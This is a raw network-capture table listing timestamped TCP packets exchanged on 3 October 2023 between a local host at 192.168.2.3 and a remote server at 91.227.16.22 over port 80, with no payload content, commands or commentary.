Oct 3, 2023 09:55:09.043116093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043117046 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.043201923 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043282032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043296099 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.043389082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043426037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043462992 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.043553114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043590069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043633938 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.043678045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043747902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043749094 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.043785095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043853045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043853998 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.043924093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.044001102 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.044012070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.044081926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.044141054 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.044153929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.044204950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.044274092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.044281006 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.044356108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.044425964 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.044467926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.044706106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.044764042 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.045046091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045084000 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045172930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045190096 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.045212984 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045248985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045260906 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.045288086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045325041 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045341969 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.045396090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045449972 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.045479059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045556068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045610905 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.045654058 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045722961 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045777082 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.045829058 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045897007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.045948982 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.046005011 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046077013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046130896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.046189070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046260118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046315908 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.046335936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046406984 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046463013 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.046483994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046520948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046576023 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.046588898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046663046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046700001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046721935 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.046777964 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046830893 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.046886921 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046958923 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.046996117 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047008991 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.047096968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047135115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047147036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.047219038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047278881 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.047297001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047367096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047416925 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.047454119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047524929 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047563076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047573090 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.047655106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047708988 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.047748089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047816992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047866106 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.047903061 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047940969 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.047987938 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.048010111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048079967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048126936 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.048154116 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048226118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048274040 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.048295975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048366070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048413992 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.048474073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048549891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048599005 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.048635006 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048715115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048765898 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.048815966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048886061 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.048940897 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.048964024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049001932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049051046 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.049076080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049114943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049161911 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.049185038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049282074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049331903 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.049374104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049412012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049463034 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.049480915 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049551964 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049597025 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.049644947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049681902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049727917 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.049751997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049851894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.049904108 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.049959898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050030947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050076008 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.050132036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050254107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050302029 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.050333977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050404072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050451994 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.050493956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050564051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050612926 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.050652027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050721884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050767899 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.050813913 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050885916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.050935984 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.050993919 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051032066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051079035 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.051121950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051196098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051233053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051246881 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.051300049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051350117 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.051408052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051476955 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051533937 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.051558018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051635027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.051686049 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.262697935 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.262744904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.262860060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.262900114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.262943983 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.262943983 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.262979031 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263017893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263128996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263206005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263216972 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.263288975 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.263370991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263411045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263463020 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.263518095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263588905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263659000 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.263668060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263710022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263778925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263824940 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263825893 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.263863087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.263874054 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.263971090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264019966 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.264044046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264081955 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264120102 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264127970 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.264194012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264231920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264246941 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.264462948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264502048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264514923 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.264539957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264586926 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.264612913 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264651060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264697075 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.264720917 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264791012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264838934 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.264873028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264910936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.264960051 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.265003920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265079021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265131950 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.265183926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265259027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265305996 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.265372038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265443087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265489101 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.265584946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265666008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265707016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265727043 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.265796900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265846968 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.265913963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265958071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.265995979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266035080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.266067028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266105890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266119003 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.266176939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266215086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266227961 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.266527891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266568899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266585112 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.266633987 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266670942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266681910 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.266741991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266782045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266792059 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.266881943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266921997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.266932011 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.266994953 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267033100 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267043114 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.267071962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267111063 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267182112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267215014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.267257929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.267262936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267307997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267345905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267359018 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.267421007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267460108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267476082 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.267530918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267570972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267580986 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.267606974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267656088 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.267678022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267751932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267790079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267803907 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.267828941 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267878056 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.267899990 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267936945 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.267988920 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.268043041 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268081903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268130064 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.268157959 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268198967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268246889 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.268270016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268387079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268435001 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.268469095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268511057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268558979 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.268580914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268618107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268663883 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.268728018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268799067 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.268848896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.268888950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269000053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269079924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269124985 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.269182920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269218922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269232988 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.269355059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269406080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.269438982 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269562006 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269614935 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269617081 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.269689083 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269727945 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269741058 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.269787073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269834995 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.269857883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269896030 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.269943953 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.269967079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270004034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270044088 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270056963 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.270116091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270164013 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.270199060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270317078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270354986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270365953 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.270456076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270494938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.270504951 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.270533085 CEST	80	49816	91.227.16.22	192.168.2.3
